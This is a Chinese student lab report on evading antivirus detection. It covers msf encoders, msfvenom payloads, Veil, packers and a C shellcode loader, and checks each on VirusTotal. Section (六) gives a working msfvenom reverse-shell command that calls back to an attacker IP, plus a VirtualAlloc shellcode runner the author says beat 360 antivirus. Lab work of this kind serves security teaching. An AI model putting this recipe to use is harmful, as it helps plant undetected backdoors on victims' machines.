一、实验原理
1.恶意软件的检测机制
基于特征码的检测:
特征码即一段或多段数据,包含这样数据的可执行文件或其他库、脚本被认为是恶意代码。
基于启发式恶意软件检测:
根据片面特征推断,通用的、多特征、非精确的扫描。
基于行为的恶意软件检测:
启发式的一种,加入了行为监控。
2.免杀技术
- 改变特征码
- 如果你手里只有EXE
- 加壳:压缩壳 加密壳
- 有shellcode(像Meterpreter)
- 用encode进行编码
- 基于payload重新编译生成可执行文件
- 有源代码
- 用其他语言进行重写再编译(veil-evasion)
- 如果你手里只有EXE
- 改变行为
- 通讯方式
- 尽量使用反弹式连接
- 使用隧道技术
- 加密通讯数据
- 操作模式
- 基于内存操作
- 减少对系统的修改
- 加入混淆作用的正常功能代码
- 通讯方式
二、实验内容
(一)正确使用msf编码器
1.使用msf编码器生成exe文件
使用实验二中的后门程序20174301_backdoor.exe,在VirusTotal网站扫描。
可见被杀软检测到的概率很大。
2.使用msf编码器对后门程序编码
一次编码,结果如图:
在网站上检测结果如图:
十次编码,结果如图:
在网站上检测结果如图:
由上可见,使用msf多次编码对提升免杀效果没什么用。
(二)使用msfvenom生成如jar之类的其他文件
1.jar文件
使用命令生成jar文件,如图:
在网站上检测结果如图:
2.php文件
生成过程如图:
在网站上检测结果如图:
出人意料的少(流汗
(三)使用veil生成后门程序
安装veil过程漫长,出现Unable to fetch some archives, maybe run apt-get update or try with --fix-missing的错误,请参见:https://blog.csdn.net/vslyu/article/details/82959552
虽然慢,但建议不要更新国内的源,可能出现更多错误,出现问题根据错误提示来调整吧。安装成功界面如下:
输入veil,出现一下界面:
输入ues evasion,进入veil-evasion
输入 use c/meterpreter/rev_tcp进入配置界面
设置反弹连接,设置文件名为veil_c_4301,其中LHOST为kali的IP,意为后门程序需要反弹连接的IP地址,如图:
在网站上检测后门程序,其中,后门文件存放位置见上图,检测结果如图:
(四)使用C+shellcode编程
利用msf生成一段shellcode,创建一个.c文件,用vi命令编辑文件,加入shellcode和一段主函数,主函数如下:
int main() {
int (*func)() = (int(*)())buf;
func();
}
生成shellcode如下:
将.c文件编译成可执行文件,如图:
在网站检测结果如图:
使用nc命令将文件传送到windows上,被360查杀:
(五)加壳工具
1.压缩壳
使用upx命令将刚刚的可执行文件加壳,前面是加壳前文件,后面是加壳后文件,如图:
在网站上检测结果如图:
2.加密壳
使用Hyperion加密后门文件,其中安装Hyperion的过程参考其他同学给出的链接:https://blog.csdn.net/weixin_36711901/article/details/103217022
其中,要注意的是:
①可以使用 find -name 文件名 来查找Hyperion-2.2文件夹及Crpter文件夹、makefile文件,修改makefile文件是使用vi命令修改的;
②要加壳的文件要放进Hyperion-2.2文件夹里。
然后使用如下命令加壳即可。
(六)使用其他课堂未介绍的方法
1.使用veil-evasion的其他载荷生成后门
进入veil evasion后,输入list查看载荷,选择第29个载荷,并不是每一个载荷都可用,界面如图:
如上图,set username以设置用户名,选择MSFVenom,选择组件/平台/连接方式,反弹连接IP和端口号,还可以自定义一些参数。
其中,后门文件名称是xn_zh_4301.rc。
2.shellcode+c++msf多次编码+加壳+申请动态内存加载(用另一台电脑实测,可以实现免杀并回连)
电脑系统:WIndows10专业版
AV:360安全卫士12
申请动态加载内存的代码如下:
#include#include #include <string.h> #pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") //windows控制台程序不出黑窗口 unsigned char buf[] = "shellcode"; main() { char *Memory; Memory=VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); memcpy(Memory, buf, sizeof(buf)); ((void(*)())Memory)(); }
使用 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=10.211.55.2 lport=3333 -f c -o shell.c 生成一段shellcode,然后把前面buf[]的值换成这段shellcode,生成的.c文件我用codeblocks编译成exe文件,再加壳,可实现免杀及回连成功。
(七)通过组合应用各种技术实现恶意代码免杀
见(六)的第2条。
(八)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
见(六)的第2条。
三、基础问题回答
1.杀软是如何检测出恶意代码的?
杀软可以通过特征码、行为特征检测出恶意代码。AV软件厂商搜集恶意代码的特征码库,与软件进行匹配,检测数据包的特征码,防止网络攻击;根据软件的特征与恶意软件特征的相符程度,监控软件行为,以查杀网络攻击。
2.免杀是做什么?
免杀就是通过encode编码、加壳、veil、shellcode编程等方式改变恶意代码的特征码,或通过反弹连接、加密通信、隧道技术等方法隐匿恶意代码的行为方式,或一些非常规方法使得安插的后门难以被AV软件发现。
3.免杀的基本方法有哪些?
(1)改变特征码
EXE文件可以加壳、用encode进行编码;shellcode可以基于payload重新编译生成可执行文件;有源代码可以用其他语言进行重写再编译。
(2)改变行为方式
尽量使用反弹式连接、隧道技术、加密通讯数据等。
四、实践总结与体会
1.实验体会
此次实验模拟了生成后门软件实现免杀的过程,可以看出网络攻击是防不胜防的,应该加强网络安全防范意识。
2.开启杀软能绝对防止电脑中恶意代码吗?
不能,就比如纯手工打造的恶意代码,很难被杀毒软件检测出来。